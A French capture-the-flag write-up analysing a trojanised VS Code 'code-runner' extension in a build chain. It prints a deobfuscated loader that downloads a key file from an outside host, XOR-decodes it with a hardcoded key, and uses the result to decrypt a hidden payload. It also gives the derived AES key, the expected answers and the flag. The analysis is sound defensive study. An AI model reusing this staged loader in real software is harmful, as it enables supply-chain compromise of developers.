Analyse d’une extension compromise et de son impact sur le processus de build.
Suite à la récupération de l’extension infectée, vous êtes désormais chargé d’analyser cette version compromise. Votre objectif est de déterminer si cette extension contient une charge malveillante et de reconstituer les étapes ayant permis à celle-ci de s’intégrer au processus de build. Vos conclusions permettront d’identifier les risques potentiels pour la chaîne de production et de renforcer la sécurité de l’environnement.
Après le téléchargement de l’extension .vsix, le participant doit la renommer en .zip afin de pouvoir extraire son contenu et l’analyser. Le fichier extension.vsixmanifest révèle que le plugin modifié utilisé pour infecter la chaîne de production est code-runner version 0.12.2.
La réponse attendue est donc :
code-runner0.12.2


Dans le dossier extension/out/src, on trouve le fichier extension.js. Ce dernier est obfusqué et n’est donc pas lisible dans son état actuel.
.png)
Pour accéder à son contenu, il faut donc utiliser un désobfuscateur
on remarque alors deux liens :
https://pluginvsrunner.github.io/code-runner/plugin.ico
https://pluginvsrunner.github.io/code-runner/icon.png
Si, avec le code désobfusqué, on renomme les variables, on peut alors essayer de deviner ce qui se passe :
.png)
.png)
On constate alors que le fichier plugin.ico est en fait une clé permettant de déchiffrer le fichier icon.png, qui contient en réalité le code malveillant.
La réponse attendue est donc :
https://pluginvsrunner.github.io/code-runner/icon.png
Ici, il suffit de recréer la fonction qui va reconstruire cette clé à partir du fichier plugin.ico.
.png)
.png)
.png)
En renommant les variables on obtient le code suivant :
function xor(data, key) {
const keyBuf = Buffer.from(key, "utf8");
const out = Buffer.alloc(data.length);
for (let i = 0; i < data.length; i++) {
out[i] = data[i] ^ keyBuf[i % keyBuf.length];
}
return out;
}
function load(remotePath, xorKey) {
return new Promise(async (resolve, reject) => {
const tmp = path.join(os.tmpdir(), "aes.key.enc");
try {
await download(remotePath, tmp);
const raw = fs.readFileSync(tmp);
const decrypted = xor(raw, xorKey).toString("utf8").trim();
resolve(decrypted);
}
catch (e) {
}
});
}
const AES_KEY_B64 = await load(
"https://pluginvsrunner.github.io/code-runner/plugin.ico",
"wIthOut_1t_w0ulD_b3_t0o_eA1y"
);
Il suffit maintenant d’appliquer ce code sur le fichier récupéré pour obtenir la clé suivante :
CspEgjNeVnaFO7Wl4QpqZsR9lrgN6oFkLAeGq62L01E=
Une fois la clé en notre possession, il suffit de télécharger le fichier suivant :
icon.png
et de le déchiffrer en utilisant aes-256-gcm.
.png)
On obtient alors un fichier obfusqué qui, une fois désobfusqué, nous donne des informations importantes.
.png)
En lisant le code, on remarque qu’il n’y a pas de charge active : la personne malveillante a dû enlever le code après avoir vu que l’attaque avait été détectée.
On observe cependant une chaîne de caractères intrigante ressemblant à un message chiffré. On peut donc utiliser cyberchef pour décoder le message.
.png)
On obtient alors le flag; le reste du code était factice.
FLAG{y0U_4rR1v3d_t0o_l4t3}